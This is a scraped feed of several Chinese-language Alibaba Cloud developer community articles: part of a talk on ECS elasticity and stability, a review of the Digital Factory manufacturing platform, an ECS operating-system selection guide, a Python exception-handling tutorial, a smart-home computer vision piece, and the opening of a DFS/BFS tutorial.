      一般传统企业的解决方式其实是提前备货,提前一年甚至三年做预算,进行 IT 资源的储备。其目标是为了保证在未来一到两年内,业务都不会因为容量不够而受损,这也是导致大量线下传统企业的日常 CPU 利用率无法达到 5% 的原因。

      最糟糕的情况是,当有新业务上线需要大规模容量的时候,IT 资源无法支撑,这样的矛盾就会使得上图中间的虚线部分越来越大。因此,传统方式要么就会造成浪费计算资源和资金,要么就无法很好地支撑业务的快速增长。

      ▐ ECS 狭义弹性能力:天下武功,唯快不破

      对于狭义弹性而言,更多需要考虑如何让其跑得更快,当需要资源的时候以最快的速度给到客户。

      目前,阿里云云服务器 ECS 从开启服务器到 SSH 可以登录只需要 22 秒的时间,同时,单位时间内能够交付的计算力面积,可以做到单客户、单 Region 5 分钟 16 万核 vCPU 的交付能力。

      image.png

      ▐ 弹性容量自动伸缩最佳实践

      我们来看看一个弹性容量的最佳实践案例。

      首先,企业客户需要守住自己的一个底座,也就是自己日常流量所需的计算资源,也就是下图中绿色的线,这部分比较适合使用包年包月或者 RI 的模式,因为价格比较便宜。

      而在底座之上的弹性部分则可以使用按量计费或者抢占式的计算资源帮助消除峰值流量,再加上 ESS 的自动化,就能够实现在不同流量峰谷的时候可以自动包裹业务曲线。

      image.png

      ▐ 容量弹性:ESS 弹性自动化 4 种模式

      ESS 弹性自动化提供了 4 种模式,即定时模式、动态模式、手动+动态模式和 AI 预测模式:

      1、定时模式适用于业务波动的时间和范围均可准确预测的场景;

      2、动态模式适合业务波动的时间和范围完全不可预测的场景,根据 CPU 和内存负载情况,进行自动扩容;

      3、手动+动态模式是两者叠加使用,适合业务波动范围较小,但时间不可预测的场景;

      4、AI 预测模式则根据历史资源使用量的峰谷和时域特征拟合,通过智能分析预测来做提前扩容,保证在可能的峰值来临之前,就可以完成资源的准备。

      image.png

      通过多种伸缩模式的灵活组合,能够帮助企业快速响应计划内外的业务变化,实现按需取用,降低成本,自动智能运维,甚至是零运维。

      ▐ 广义弹性:基础设施规模全预铺-空间域的弹性

      第二个维度与大家分享广义弹性。云,特别是像阿里云这么大规模的云,很大的一个特征就是基础设施规模化的全铺设,也就是说具有了空间域的弹性。

      任何一个物理设备,都有扩容上限。当扩张到上限的时候,就会遇到扩容墙的问题,此时就需要设备全部迁移到另外一个地域并重新启动,无法做到跨地域调度。

      云计算则能够实现跨机房、跨可用区,甚至是跨 Region 的扩容。阿里云拥有日不落的数据中心,业务部署到海外也是非常容易的,这就是广义的弹性——空间域的弹性。

      image.png

      ▐ 广义弹性:空间域上覆盖全球的大规模基础设施

      大家经常会听到阿里云部署了多少个 Region 以及多少个 AZ(Availability Zone,可用区),而 AZ 之间是互联的,延时也有严格的保障,因此用户可以突破 IDC 的边界,扩容自己的应用。

      image.png

      ▐ 广义弹性:在 ECS 之上,使用丰富云服务拓展应用的系统支撑能力的弹性

      ECS 会映射到线下的 IDC 服务器,因此无论是数据库还是应用,都是购买软件之后进行交付、运维和使用。对多数云上系统各种 Workload,都可以基于 ECS 用软件自己搭建。

      同时,阿里云还提供了大规模的服务化的云产品,一定会有一款满足你。比如数据库、容器、函数、中间件等都已经实现了服务化,客户不需要去安装、运维和管理这些软件,而能够利用这些软件的弹性实现开箱即用,且按时付费。而且这些软件的数量和质量还不断的进化,因此选择上云还能够为将来拓展应用能力的弹性奠定基础。

      制造商:性能优异,稳如磐石

      客户的应用都在这个云服务器上面,因此性能很重要。云厂商生产了各种不同规格的云服务器,通过 IDC、物理机、网络资源之上的这些操作系统将其切成资源池给到客户。

      这样就像是工业 4.0,客户选择了配置,如内核、CPU、内存、磁盘、操作系统等,阿里云会将这些资源调度到一台机器上,实时生产出来交给用户。

      阿里云提供了封装形态、规格族、规格大小粒度这样广谱覆盖的实例矩阵来覆盖用户在不同场景下对于计算力的需求。

      image.png

      ▐ 制造商成功的本分:稳定性&性能

      中国是个制造业大国,而制造商成功的本分其实就是稳定性和性能。阿里云具有计算、网络、存储性能的稳定性,AZ 内、AZ 间、Region 间以及网络性能的稳定性。

      此外,加上飞天操作系统在计算、存储、网络 3 个底层技术上的不断投入,以及大规模调度系统,结合底层硬件不断进行研发迭代,实现高性能和成本红利。

      image.png

      ▐ 云的稳定性

      云的稳定性主要挑战在两个方面:宕机迁移业务恢复,磁盘损坏不丢数据;硬件批量维修、过保,保证客户对过保无感。

      阿里云将运维和虚拟化解耦,可以做到用户无感的物理硬件替换,对客户业务的连续性打扰降低到非常小的程度,这正是云上核心的稳定性逻辑。

      image.png

      弹性计算的“二次去 I”:用 x86 硬件,挑战小机型稳定性

      下图中数据来自于各厂商官网,阿里云 ECS 单实例可用性 SLA 可以达到 99.975%,跨可用区多实例可用性 SLA 可达到 99.995%。

      image.png

      标题中的“二次去 I”指的是阿里云在服务客户的过程中发现客户单实例对稳定性要求也非常高。

      在“第一次去 IOE”的时候,用的是应用层的分布式技术来解决 x86 的稳定性问题。而在弹性计算领域,则是用基础层的能力去解决 x86 的稳定性问题,目标是用 x86 的硬件做到和小型机一样的稳定性,这就是“二次去 I”。客户的技术能力各不相同,有很大一部分客户对单机的稳定性有非常高的依赖,无法做应用层的容灾,这样严苛的需求就推动阿里云的服务要达到小型机的稳定性,阿里云的基础沉淀了多年,才得以实现这样的业界领先的 SLA。

      弹性计算的云盘快存储“二次去 E”:业界主流厂商云盘可靠性 SLO 一览

      阿里云云盘的可靠性能够做到“9 个 9”,也是目前业界领先的,需要非常严谨和先进的技术架构来保障。通过分布式的基于 x86 的软件定义存储,替代掉原来商业非常昂贵的存储,并达到了存储的高可靠性。

      80% 的宕机,都来自 IDC 电力、IDC 网络和服务器系统三类原因

      阿里云是如何做到上述能力的呢?其实对于服务器而言,80%的宕机,都来自 IDC 电力、IDC 网络和服务器系统三类原因。接下来针对于这三个原因谈谈阿里云所做的事情。

      强健的电力,强健的网络带来强健的 IDC 基础设施

      IDC 掉电的新闻中经常出现,属于高频事件。阿里云在 IDC 的管理上非常严格,拥有高可用电力架构、网络架构以及 3+N 多线 BGP 接入,这也源于多年来的经验和教训,才形成背后成熟的管理体系和技术体系。阿里云帮助客户消除掉了 IDC 机房的大部分电力、网络的可用性威胁。

      image.png

      **
      冗余架构**

      举一个例子,阿里云在服务器和接入交换机的架构上,存储、网络和云盘等都是通过网卡虚拟化出来的。服务器上的电力、网络,都是双线接入的。通过自研技术,在服务器、飞天操作系统中实现物理网络的路由切换。如果这个地方是个单点,没有双路就经常会出现各种各样的问题。阿里云选择在软件侧实现冗余的网络线路路由调度。

      image.png

      批量运维变更故障规避技术平台

      既然是大规模的云,技术迭代和产品更新背后就会有大量的系统发布和变更。如何让其变得更稳定?阿里云背后依赖于非常高精尖的热迁移技术,95% 以上的热迁移,对所有用户都是无感的。

      image.png

      **玄机大脑的异常预测&调度
      **
      飞天操作系统中的玄机大脑能够对于异常进行预测,做提前的热迁移,实现对客户服务的稳定性。

      image.png

      **核心部件的故障预测:准确率和召回率高达 99%
      **
      阿里云核心部件的故障预测的准确率和召回率高达 99%,这背后来自于阿里巴巴这么多年的技术积累。阿里巴巴是一家数据公司,拥有 10 年百万级的服务器打标的高质量数据,再结合达摩院科学家的合作,通过算法训练让这些数据产生价值,提前预测硬件的健康程度,再结合热迁移的能力,实现服务的稳定性。

      成果:70% 的用户可感知故障被消除&规避

      目前,阿里云由于硬件产生的问题中的 70% 都是客户无感的。很多用户使用云服务器已经大约 2 到 3 年的时间了,底层的硬件可能已经更换了 2 至 3 次,但是自己却毫无感知,也没有重启过。这就是使用 x86 的硬件实现了小型机的稳定性。

      image.png

      为何弹性计算如此看重稳定性:进化的力量

      阿里云之所以这么看重稳定性并做了大量的投入,主要是因为技术进化的力量。双 11 一直在考验阿里巴巴集团的系统,不断发现小问题并快速逐一修复。

      此外,还有一个原因就是客户群体的差异,中美的云计算成熟度存在一些差异,在北美或者欧洲,IT 客户群体的能力相对成熟,可以在应用上做容灾,对服务稳定性的依赖相对较小,而国内的 IT 客户群体还不够成熟,很多客户强依赖单机的稳定性,这就让阿里云必须重视稳定性的提升。

      阿里云带着一个梦想,就是能够通过努力,降低中国企业创业的门槛,减小企业数字化转型的阻力,这些都是驱动弹性计算不断进化的驱动力。

      ▐ 云的优异性能

      讲完稳定性,我们来讲讲性能。

      业界领先的 E2E 性能

      虚拟化使得 IT 业务的灵活度、交互效率大大提升,而带来的问题其实就是虚拟化的损耗,这就需要从技术上不断进步。阿里云弹性计算具有业界领先的 E2E 性能,ECS 第六代相比第五代在性能方面在 MySQL、nginx、Redis 等场景下都有了大幅度提升,并且综合性能超越市场同类主售产品。

      image.png

      ECS 性能更强,成本更低的秘密——全链路自研底层技术

      无论是神龙、盘古、洛神,还是阿里自研的 IDC 网络和服务器,这些全链路的融合以及软硬结合,会持续地进行迭代,将技术红利提供给客户和市场。

      image.png

      高性能背后的自研技术:神龙计算平台

      阿里自研的神龙计算平台在 2017 年发布第一代产品,并且每年都在迭代,现在给客户提供服务的是第二代神龙计算平台。第三代马上就会开放给客户,目前处于邀测过程中。

      image.png

      高性能背后的自研技术:神龙、盘古 2.0,物理网络的完美结合

      阿里云是第一个能够把 RDMA 真正用在云上的云厂商,这是因为要解决 RDMA 的规模化问题,存在着大量的挑战。为了享受 RDMA 的技术红利,则必须要在软硬件以及架构上进行大量适配,才能够保证它能够大规模环境下稳定运行。

      image.png

      高性能背后的自研技术:玄机大脑的性能调度

      在高性能的背后,也需要有强大的调度系统,通过玄机大脑和达摩院进行数据化分析,进行大规模调度,让购买小规格实例的客户也能享受到稳定的服务,甚至超出基线的性能。

      image.png

      全球最极端场景对性能、稳定性的打磨

      举一个极端场景的例子,去年双 11 中阿里巴巴的全部业务都已经上云了,峰值会到达无法想象的量级。在平时演练中,会毫无预兆的人为制造各种问题,例如断电、交换机故障、系统故障等场景,弹性计算团队需要在最短的时间内解决出现的问题,这样的考验对于稳定性的打磨是世界独一无二的。

      服务商:云上安全感到效率幸福感

      除了上述谈到的能力之外,用户上云之后还需要交付、部署、配置、运维的服务。就像是开车一样,出了性能好,更需要这种自动驾驶、定速巡航、精准操控等能力辅助。

      image.png

      服务商:集群复杂度和规模变化,对交付、部署、配置、运维效率要求产生质的变化

      上云企业的大小规模不一样,企业规模小的时候,使用的资源数量非常少,自动化要求、管理复杂度、运用复杂度都会很低。在规模变大之后,企业会划分多个部门,具有多个服务和应用,甚至横跨多个地域。海量的集群复杂度、交付复杂度、服务器管理配置的复杂度都会提升,需求就会有质的变化。

      服务商:部署&运维自动化编排,上云用云自动化驾驶

      在云上,为了应对以上挑战,提供了两套配套方案,部署集+ROS 资源编排,和云助手+OOS 运维编排,分别解决规模化、自动化部署配置的能力,还有自动化运维的能力,结合稳定的计算实例、时域和空间域的弹性,以及原子 API 和透明监控事件,进而实现了云上完整弹性。

      image.png

      ROS:用部署编排自动化,轻松交付单元化集群

      举个例子,2020 年 2 月疫情期间,钉钉使用 ROS 进行大规模多集群扩容。保障扩容的顺利完成,首先要有资源扩容,其次要有空间进行扩容,并且还走向海外,需要在海外为其扩容。集群扩容规模非常大,需要大量的时间,所以阿里云通过 ROS 帮助钉钉进行集群扩容,效率提升了 100 倍。而应对如此快速增长的 DAU,背后的弹性能力、快速部署能力、自动化能力都缺一不可。

      OOS:运维编排自动化,云上轻松实现大规模集群高效发布和运维

      这里的例子是一个 1.5 亿客户的大型 App 后端大规模集群发布运维编排,通过 OOS 编排模板去自动刷新资源,帮助其将单次完整线上发布时间从 150 分钟缩短到 10 分钟,并且不需要人工干预和 0 误操作。使得发布频率从每周一次提升到了每天一次,真正地做到了基础设施级别的深度持续发布,使得业务创新效率大幅度提升。

      规模&进化:宝剑锋从磨砺出

      如下图所示的曲线表明规模很重要,规模变大之后,单台服务器的稳定性、弹性、性能大大提升,研发成本也会急剧下降,而阿里云背后强大的技术团队,才让 ECS 有了极致的体验。

      image.png

      弹性计算和阿里云同一年诞生,如今在规模方面已经成为中国乃至亚太的第一,世界第三。弹性计算团队从创建开始,与客户一起成长了 11 年的时间。

      小结:规模化实践驱动的云计算的优势会不断扩大

      大规模实践锻造而成的弹性计算,驱动着云计算市场不断地发展壮大,同时规模化实践驱动的云计算由于其优势,规模也在不断扩大。

      而所有这些竞争力都是构建不同行业的国内外大客户、严苛的云产品内部客户、庞大的集团内部客户的大规模需求驱动之上;构建在阿里云与集团数据和技术积累的肩膀之上;构建在弹性计算这十年中训练出来的强大技术团队,以及在这十年间不断涌现的技术创新之上。

      演讲者简介:蒋林泉是阿里巴巴集团研究员,阿里云弹性计算负责人。过去几年他带领团队,在大规模客户场景的驱动下,对平台技术进行架构升级,让 ECS 的整体产品弹性、性能、稳定性以及功能体验都突飞猛进,弹性计算产品体系在业界具备了很强的竞争力。在负责弹性计算之前,他还曾经担任过阿里云平台架构师,阿里云专有云总架构师,是云计算领域最优秀的架构师之一。

      【END】

      ]]>
      浅谈制造协同的基础设施 - 阿里云数字工厂-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介

      制造企业数字化转型,是近年来越来越流行起来的概念,尤其在《工业4.0》和《中国制造2025》概念的引领下,越来越多的企业服务提供商开始涉足该领域,为广大制造业赋能。阿里云作为一个云上基础设施提供商,也不例外的整合了自己在制造企业数字化转型方面已有的信息化改造能力,以及阿里生态在电商销售平台、供应链平台、金融平台、物流平台等多方面的能力,为制造业数字转型的企业、服务商、行业运营商以及区域运营商提供了一个工业互联网领域全面的支撑平台:阿里云数字工厂

      制造业的数字化转型

      制造业的数字化转型,是制造协同及智能制造的基础,制造业从传统的作坊式生产方式步入制造协同及智能制造,一般都需要经过以下步骤:

      数字化

      数字化是基础,简言之就是将纸上的数据,用数字的方式描述出来,将生产经营过程中的所有要素,都用数字及数字间的关系的方式进行表述,这些要素包括:
      人 - 生产经营过程中涉及的人员,如下图的客户,人员,供应商等
      物 - 生产经营过程中涉及的物品,如生产设备,物料等
      事件 - 由人与物的互联,产生的事件,如某某操作员新增了一个物料,某某生产设备的生产活动完成等

      数字化的核心就是建模与描述,对以上要素进行建模,阿里云数字工厂产品里的数据管理功能包括主数据管理工厂建模等,都是围绕这个合理建模的目标展开的。

      数字工厂运营中心
      总的来说,一个典型的工厂的基础数据建模包括:
      企业的组织结构:一个企业包括一个或者多个工厂,工厂又细化分割为不同的部门组织,组织则被定义为拥有不同工作职能的业务实体。
      人员及角色:人员是生产制程过程中重要的基础性单元,根据员工的角色规划不同的系统权限,根据参数设定区分员工的角色和能力,可根据信息制定完善的人员分配和调度计划。
      工作流、操作规范:根据业务实际对产品生产的流程进行定义,即用来定义制造产品的步骤顺序,作为一个标准化的指导。并根据工作流中的每一个工作中心或者工作站的工序标准和要求制定统一化的操作流程,形成唯一的规范。
      物料、物料谱系:定义工厂内部的物料属性:材料、组装件、配件、成品等。并归集同系列的物料成物料分组,形成不同的物料谱系信息。
      制造 BOM、工艺路线:根据产品搭建产品 BOM 架构,并根据产品设计配合工作流 定义和物理模型的设备定义,合理设计产品的工艺路线。规划定义的范围包括:数据记录、变更、工艺监控等。
      在制品状态:定义范围包含在制品数量、产线位置、生产时间、状态等。

      信息化

      在数字化的基础上,人与人之间,物与物之间以及人与物之间,在一定的规则和流程下,产生关联事件,则产生出来了信息,基于这些信息则可以构建上层应用。
      阿里云数字工厂目前有两个官方应用,一个是订单管理,订单管理提供手动、API创建订单、订单查询、订单操作等; 支持面向工厂用户完成生产环节与工序映射, 支持面向生产报工映射;支持导入生产计划单及关联。另一个是产品管理,提供产品创建、编辑,发布产品到主数据、对不再使用的产品进行归档,实现对自己研发、在产及停产的产品进行管理。
      目前看来这两个信息化的应用还是主要集中在销售侧的信息化,而在生产侧还不够完善,对于接到订单之后如何联动后端的生产制造协同处理过程的支持度还不够,举个简单的例子,一个相对更完善的工艺路线管理应该包含对产品制造的工艺过程采用流程图等直观的方式进行定义,支持开始,过程,结束工序的定义,能描述返工或异常处理工序流程,能支持工艺路线的嵌套使用,支持多版本定义。
      虽然如此,目前阿里云数字工厂接口式的开放能力的设计,可以支持第三方开发者去实现更多行业相关的制造协同细节,这个也比较符合toB的平台产品原则: 颗粒度粗,适用范围就广,与行业的结合就浅;颗粒度细,适用范围就窄,与行业的结合就深,阿里云作为平台,走前者的路线也是合理的。

      智能化

      智能化就是系统在具备一定的感知与计算能力之后,能够反向输出预警、决策支持等能力,在阿里云数字工厂里,与之相关的模块有集成组态以及经营驾驶舱

      集成组态页面为车间操作人员提供了可视化的界面,结合云端能力可以远程,多设备的实时查看设备运行状态,风险预警等
      集成组态

      经营驾驶舱则在信息化的基础上,按照企业既定的生产经营指标进行统计与计算,为企业经营者的综合决策提供数据支持
      经营驾驶舱

      总结

      从目前阿里云数字工厂的实现程度来说,已经具备了比较完整完善的云上制造协同基础设施的能力,但对于一般小型工厂来说太过于庞大,而对于生产经营过程复杂和特殊的大型工厂来说,需要有配套的实施甚至定制开发支持才能提供结合度更高更完善的支持,这就需要发挥生态优势,多引入优质的第三方深度应用及第三方实施服务商。

      引用

      阿里云文档 - 工业互联网平台

      ]]>
      如何选择阿里云服务器操作系统?阿里云操作系统说明指南-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800


      随着网站服务器技术的发展,越来越多的站长建站首先选择云服务器。时下阿里云云服务器ECS脱颖而出,成为多数站长网站服务器的首选。那么对于刚刚接触云服务器的站长来说,如何选择适合网站的阿里云云服务器ECS操作系统,阿里云云服务器ECS的操作系统有什么区别,阿里云linux服务器和windows服务器有何不同呢。


      前提:若后期有需求购买阿里云任何产品的朋友,可以提前领取优惠劵。后期可为大家减少成本:点击领取阿里云优惠劵


      阿里云个人购买+阿里云企业购买



      首先,我们要清楚的便是每个系统之间的差别,以及在阿里云上的差别:


      1.Windows


      1.1)系统内含正版激活。


      1.2)适合于运行Windows下开发的程序,如.net等。


      1.3)支持SQLServer等数据库(需自行安装)。


      1.4)可以使用远程桌面方式登录进行管理。


      注:512内存不支持选择Windows系统,1G以上内存才能很好支持该系统。


      2.Linux


      2.1.1)最流行的服务器端操作系统,强大的安全性和稳定性。


      2.1.2)免费且开源,轻松建立和编译源代码。


      2.1.3)通过SSH方式远程访问您的云服务器。


      2.1.4)一般用于高性能web等服务器应用,支持常见的PHP/Python等编程语言,支持MySQL等数据库(需自行安装)。


      2.2CentOS(推荐)请使用yum方式在线安装软件。


      2.3Ubuntu请使用aptitude方式在线安装软件。


      2.4Debian请使用apt-get方式在线安装软件。


      2.5AliyunLinux(兼容RedHat)请使用yum方式在线安装软件,yum源需要自行购买redhat的商业支持。


      操作系统更换规则:


      1.更换操作系统


      更换系统之前请先停止云服务器,云服务器更换操作系统会直接重置系统盘【IP不变】,系统盘数据将会丢失!


      请您注意:


      1.1.更换操作系统会使云服务器的系统盘更换为新的镜像,原有系统盘的数据都会丢失。


      1.2.云服务器数据盘的数据不会受到影响。


      1.3.建议您将系统盘的个人数据备份到数据盘中,或采用其他方式进行备份。


      1.4.因您没有备份系统盘相关个人数据而造成的数据丢失,阿里云不承担责任。


      1.5.内存为512M云服务器不支持更换Windows操作系统。


      2.CPU/内存与操作系统的选择


      2.1)如需选择/变更4G以上内存请您选择64位操作系统(32位操作系统存在寻址限制)。


      2.2)如您选择32位操作系统,4G以上内存页面暂不展示,只有云服务器更换为64位操作系统才可展示。


      2.3)Windows32位操作系统支持最高CPU为4核。


      2.4)配置:[CPU:1核;内存:512M]的云服务器不支持选择/更换Windows操作系统。


      Windows篇


      阿里云提供了6种window系统,涵盖了Server2003sp2以及Server2008R2这两大类操作系统。


      其中又分为了32位和64位


      (1)如何选择32位还是64位


      32位系统相比64位系统,最主要的限制体现在内存的大小上。因为32位本身的限制,其最大只可支持到4GB内存,如果您的网站要使用高于4GB的内存或者以后有扩充内存寻到4GB以上的打算,请使用64位操作系统。


      (2)选择2003还是选择2008


      对于windows来说,我个人建议是选择版本越高的越好。相对来说新版本漏洞相对来说更少,而且IIS7.5相对于IIS6提供了更多的功能以及更方便的控制台。但是考虑到大家的机器配置不同,在此给出一下几种选择:


      A:配置低于双核2GB内存:选择server2003不装数据库配置双核4GB:server2003mssql或者server2008R2不带数据库


      B:配置高于双核8GB:serever2008R2mssql建议如果大家要在云服务器上跑数据库,尽量选择大内存配置,或者降低配置去选用RDS


      (3)中英文、安全加固版如何选择


      这个就依据大家各自的喜好来了,在此不多说了至于Windows服务器配置教程,因为网上教程很多而且相对于Linux来说Windows配置难度更低,所以Windows的配置教程会比较晚的放出。


      Linux篇


      (1)这些linux大类有什么区别


      Debian:用的deb包,使用APT包管理系统。


      同时Debian提供了大多数软件比较新的版本,并且提供了更多的软件包(相对于原版RedHat)。Debian的优点在于更新迅速,软件包完善(Ubuntu尤其),操作便利。缺点是部分时候稳定性欠佳,跟进最新软件有可能存在Bug。


      Centos:用rpm包,使用yum包管理系统。


      相对于Debian来说,Centost的一大特点就是慢。大部分软件停留在稳定版本,而且相距最新版版本也差较多。而且某些新版软件的一些新特性支持也比较慢,比如php-fpm。


      因为Centos是面向企业用户提供的操作系统,所以在稳定性上十分突出,一般在新功能或稳定性的选择上更倾向于后者。只有当某个功能完全确定稳定了,才会加入到系统里。优点是系统稳定,技术文档完善,如果付费的话能得到企业级别的技术支持。缺点是软件包比较老旧,而且一些较新功能会欠缺。


      总结一下:如果你喜欢尝鲜,喜欢用最新的功能或喜欢折腾系统,那么Debian是个更好的选择。
      上手难度Ubunt


      (2)Debian与Ubuntu的选择


      Ubuntu是基于Debian所开发,可以简单地认为Ubuntu是Debian的功能加强版。


      与Debian相比,Ubuntu提供了更人性化系统配置,更强大的系统操作以及比Debian更激进的软件更新。


      Ubuntu与Debian比较,可以认为Debian更趋向于保守一些,Ubuntu对新手友好度更高,上手更容易。


      用过Ubuntu的都会体会到它的易用,反之如果用过Ubuntu再换到别的系统,都会觉得不适应,Ubuntu真的很方便。


      个人建议,如果你打算选择Debian类的,建议选择Ubuntu。


      Ubuntu提供了更好的操作,更激进的软件更新,更方便管理软件以及相差无几的稳定性。


      如果你不想放弃稳定'那么请选择Debian。


      关于Ubuntu版本选择:


      在此解释下Ubuntu的版本支持时间。Ubuntu普通版本只提供18个月的技术支持,过期则不管。


      服务器版本提供长达五年的技术支持。所以建议大家选择12.04版,提供长达5年的技术支持,可以确保在静候相当长的一段时间内你的服务器可以继续收到系统升级补丁以及可用的软件源。


      (3)Centos的选择


      对于阿里云Centos的选择,建议选择Centos6.5版本,带来了更多的新特性以及更多的新功能。


      除非你的软件需要php5.1的环境,那么就选择Centos6.5。如果网站需要支持php5.1,只能选用Centos5.8。


      至于具体版本选择,建议php5.1用户选择Centos5.8,其他的用户则为Centos6.5。
      最后的最后提醒大家一定要领取价值2000优惠劵


      ]]>
      异常的概念-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      异常的概念

      程序在运⾏过程中,由于我们的编码不规范,或者其他原因⼀些客观原因,导致我们的程序⽆法继续运⾏,此时,程序就会出现异常。如果我们不对异常进⾏处理,程序可能会由于异常直接中断掉。为了保证程序的健壮性,我们在程序设计⾥提出了异常处理这个概念。
      读取文件异常
      在读取⼀个文件时,如果这个文件不存在,则会报出 FileNotFoundError 错误。
      image.png
      除数为零异常
      出现ZeroDivisionError异常
      image.png
      程序在运⾏过程中会经常遇到类似的异常,如果我们不进⾏处理,此时程序就会中断并退出。为了提⾼程序的健壮性,我们可以使⽤异常处理机制来解决程序运⾏过程中可能出现的问题。

      try...except语句

      try...except语句可以对代码运⾏过程中可能出现的异常进⾏处理。 语法结构:

      try:
          可能会出现异常的代码块
      except 异常的类型:
          出现异常以后的处理语句

      示例:

      try:
          f = open('test.txt', 'r')
          print(f.read())
      except FileNotFoundError:
          print('⽂件没有找到,请检查⽂件名称是否正确')

      try...else语句

      咱们应该对else并不陌⽣,在if中,它的作⽤是当条件不满⾜时执⾏的实⾏;同样在try...except...中也是如此,即如果没有捕获到异常,那么就执⾏else中的事情

      def div(a, b):
          return a / b
      
      try:
          x = div(5 / 0)
      except Exception as e:
          print('程序出错了!!!!')
      else:
          print('计算的结果是', x)

      try..finally语句

      try...finally...语句⽤来表达这样的情况:

      在程序中,如果⼀个段代码必须要执⾏,即⽆论异常是否产⽣都要执⾏,那么此时就需要使⽤finally。⽐如⽂件关闭,释放锁,把数据库连接返还给连接池等。

      try:
          f = open('test.txt')
          try:
              while True:
                  content = f.readline()
                  if len(content) == 0:
                      break
                      print(content)
          except:
              #如果在读取⽂件的过程中,产⽣了异常,那么就会捕获到
              #⽐如 按下了 ctrl+c
              pass
          finally:
              f.close()
              print('关闭⽂件')
      except:
          print("没有这个⽂件")

      说明:

      我们可以观察到KeyboardInterrupt异常被触发,程序退出。但是在程序退出之前,finally从句仍然被执⾏,把⽂件关闭。

      异常使用场景

      解决输入不是数字以及输入年龄非整数的问题。

      age  = input('请输入您的年龄:')
      
      try:
          age = float(age)
      except ValueError as e:
          print('输入的不是数字')
      else:
          if age > 18:
              print('欢迎来到我的网站')
          else:
              print('未满18岁,请自动离开')

      配套视频

      ]]>
      计算机视觉如何改善我们的日常生活-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

      人工智能,利用机器学习的力量来处理各种日常任务的技术,已经在改变我们工作、购物、银行和驾驶的方式。

      它给我们带来了一些技术,可以为工人处理平凡、重复的工作,检测欺诈性的金融交易,并允许自动驾驶汽车做出决定。但是人工智能如何改变我们在自己家里管理日常生活的方式呢?

      通过采用Alexa和许多其他物联网设备,我们已经开始向智能技术移交一些责任。

      image.png

      如果我们忘记锁车,我们可以很快纠正错误并远程锁车。如果我们忘记锁上房门或设置DVR来录制喜爱的节目,我们也可以远程处理。

      人工智能技术的下一步将增强它们的实用性。就像它们接管工作场所耗时、无需大脑的日常任务一样,它们将开始从我们家里接手一些苦差事。

      前面仅是一些场景,探索家庭中智能技术的惊人可能性,这些场景可以看到我们需要的东西,并以各种方式帮助我们解决问题。

      轻松购物

      你的智能冰箱在不久的将来有一个摄像头,可以看到牛奶的存量正在减少,或者盒子已经永久地从冰箱中取出,并了解这对你意味着什么。

      冰箱和食品储藏室(也有一个智能摄像头)可交换有关牛奶供应状况的信息。这两个食品存储系统意识到您将要用尽这一必需品,因此向您发送一条文本信息,询问您是否要将其添加到购物清单中。这就是物体识别的魔力。

      为了让您的购物清单保持最新,您的冰箱将信息与洗衣房、浴室、车库和其他任何需要持续存放物品的地方的货架和存储单元进行协调。当需要进行实际的购物时,您所要做的就是检查列表,添加您认为缺失的任何东西并下订单。

      每天的家务活都有很多电器的帮助

      以下是一些日常情况的例子,每天都会出现在某个人身上。他们并不太重要或导致过大压力,但在漫长的工作日、家庭和其他责任之外,又增添了太多的这些小烦恼,使他们开始感到有点沉重。

      1. 洗衣

      你有没有过不小心洗了有污点的东西却没有注意到的经历?那个污点会毁了你的白衬衫。想象一下,如果有一台洗衣机,由于异常检测,它能在你最喜欢的一件衣服上漏了一块污渍时告诉你,例如“灰色运动衫上有芥末渍。 您想预处理吗?”

      再也不会忘记,您将鸡翅掉在您最喜欢的那条紧身牛仔裤上,然后漫不经心地将它们洗了一遍,使污点永生。

      当然,如果污渍没有消失,您的裤子抽屉将告诉您,您需要购买更多的裤子。

      2. 晚餐没主意

      如果你冰箱和食品存储室里的东西不多了。不用担心,两者可以结合起来,提出使用你手头已有物品的食谱建议。这样你就可以专注于下午的会议,而不是纠结于晚餐做什么。

      3. 睡个好觉

      宝宝房间的空调可以将房间保持在一定温度,但这仍然不能告诉您她是太暖还是太冷。智能温度控制可以“看到”孩子额头上的汗水,或者注意到她已经踢开了毯子,或者正在翻来覆去,然后决定为房间降温直到她感到舒适为止。

      相反,如果她太冷,人工智能动作检测可以捕捉到视觉信息,比如把毯子拉在一起。然后它可以检查房间的温度,确定它是有点冷,并决定让房间暖和起来。

      同样的智能温度控制,不仅对于不能自己调节空调的宝宝来说特别方便,同样也适用于爸爸妈妈,他们在房间变得不舒服之前也无法唤醒任何人,他们也需要智能调节温度。

      智能家电给了人类时间的礼物

      智能家电和存储系统可以让工作繁忙的父母们在早上和晚上花更多的时间与他们的孩子和彼此亲密接触,而不用花那么多时间去打理家务。

      智能家居技术有许多节省时间和精力的应用。在这个职业不断发展的时代,时间是我们最需要的东西,人工智能驱动的设备可以减轻我们的负担,还给我们一些宝贵的、失去的时间,是一些最能提高生活质量的技术创新。

      image.png

      文章来源:https://ai.51cto.com/art/202006/619638.htm
      文章转自51cto,本文一切观点和《机器智能技术》圈子无关

      ]]>
      图文详解 DFS 和 BFS-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      原文链接

      一、前言

      深度优先遍历(Depth First Search, 简称 DFS) 与广度优先遍历(Breath First Search)是图论中两种非常重要的算法,生产上广泛用于拓扑排序,寻路(走迷宫),搜索引擎,爬虫等,也频繁出现在 leetcode,高频面试题中。
      本文将会从以下几个方面来讲述深度优先遍历,广度优先遍历,相信大家看了肯定会有收获。

      • 深度优先遍历,广度优先遍历简介
      • 习题演练
      • DFS,BFS 在搜索引擎中的应用

      二、深度优先遍历,广度优先遍历简介

      深度优先遍历

      深度优先遍历主要思路是从图中一个未访问的顶点 V 开始,沿着一条路一直走到底,然后从这条路尽头的节点回退到上一个节点,再从另一条路开始走到底...,不断递归重复此过程,直到所有的顶点都遍历完成,它的特点是不撞南墙不回头,先走完一条路,再换一条路继续走。
      树是图的一种特例(连通无环的图就是树),接下来我们来看看树用深度优先遍历该怎么遍历。
      image.png
      1、我们从根节点 1 开始遍历,它相邻的节点有 2,3,4,先遍历节点 2,再遍历 2 的子节点 5,然后再遍历 5 的子节点 9。
      image.png
